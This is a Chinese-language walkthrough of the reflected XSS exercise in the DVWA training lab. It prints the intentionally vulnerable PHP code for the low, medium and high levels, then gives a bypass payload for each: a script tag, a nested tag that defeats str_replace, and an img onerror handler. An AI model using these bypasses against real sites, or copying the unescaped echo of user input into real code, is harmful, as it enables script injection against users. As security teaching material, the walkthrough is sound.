DWVA-关于反射型xss的漏洞详解<xss reflected>

反射型xss

low级别

代码如下:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Feedback for end user
    echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘;
}

?>

从上图中可以看出来,对于接收到的输入参数,并未做任何处理,因此直接插入恶意代码

<script>alert(‘hahaha‘)</script>

效果如下:

DWVA-关于反射型xss的漏洞详解<xss reflected>

medium级别

代码如下:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Get input
    $name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

代码中可以看出,通过str_replace将<script>,替换为空。

这种情况下可以使用拼写<script>的方法,输入如下参数:

<scr<script>ipt>alert(‘lalala‘)</script>

输入后前面的<scr<script>ipt>中将<script>替换为空后,有重新组合出一个<script>,达到注入目的。

效果如下:

DWVA-关于反射型xss的漏洞详解<xss reflected>

成功注入。

high级别

代码如下:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
    // Get input
    $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

high级别代码,使用正则表达式对输入参数进行搜索和替换,有效避免了组合绕过和大小写绕过。

不过既然它仅仅是对于<script>进行过滤,我们可以使用其他表达式进行绕过、

<img src=1 onerror=alert(‘hahah‘)>

效果如下:

DWVA-关于反射型xss的漏洞详解<xss reflected>

相关推荐